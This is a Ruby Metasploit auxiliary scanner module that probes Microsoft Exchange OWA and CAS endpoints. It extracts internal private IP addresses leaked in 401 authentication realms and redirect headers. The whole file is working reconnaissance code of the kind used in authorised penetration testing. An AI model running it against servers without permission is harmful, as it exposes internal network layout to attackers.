112 lines
3.1 KiB
Ruby
112 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
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'Description' => %q{
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This module tests vulnerable IIS HTTP header file paths on Microsoft
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Exchange OWA 2003 and CAS 2007, 2010, and 2013 servers.
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},
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'Author' =>
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[
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'Nate Power'
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],
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'DisclosureDate' => 'Dec 17 2012',
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'License' => MSF_LICENSE,
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'DefaultOptions' => {
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'SSL' => true
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}
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)
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register_options(
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[
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OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
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OptInt.new('RPORT', [ true, "The target port", 443]),
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])
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end
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def run_host(target_host)
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rhost = target_host
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print_status("#{msg} Checking HTTP headers")
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get_ip_extract
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end
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def get_ip_extract
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urls = ["/Microsoft-Server-ActiveSync/default.eas",
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"/Microsoft-Server-ActiveSync",
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"/Autodiscover/Autodiscover.xml",
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"/Autodiscover",
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"/Exchange",
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"/Rpc",
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"/EWS/Exchange.asmx",
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"/EWS/Services.wsdl",
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"/EWS",
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"/ecp",
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"/OAB",
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"/OWA",
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"/aspnet_client",
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"/PowerShell"]
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result = nil
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urls.each do |url|
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begin
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res = send_request_cgi({
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'version' => "1.0",
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'uri' => "#{url}",
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'method' => 'GET',
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'vhost' => ''
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}, timeout = datastore['TIMEOUT'])
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rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
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print_error("#{msg} HTTP Connection Failed")
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next
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end
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if not res
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print_error("#{msg} HTTP Connection Timeout")
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next
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end
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if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
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result = match.captures[0]
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print_status("#{msg} Status Code: 401 response")
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print_status("#{msg} Found Path: " + url )
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print_good("#{msg} Found target internal IP address: " + result)
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return result
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elseif
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print_warning("#{msg} No internal address found")
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next
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end
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if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^https?:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
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result = match.captures[0]
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print_status("#{msg} Status Code: #{res.code} response")
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print_status("#{msg} Found Path: " + url )
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print_good("#{msg} Found target internal IP address: " + result)
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return result
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elseif
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print_warning("#{msg} No internal address found")
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next
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end
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end
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if result.nil?
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print_warning("#{msg} Nothing found")
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end
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return result
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end
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def msg
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"#{rhost}:#{rport} -"
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end
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end
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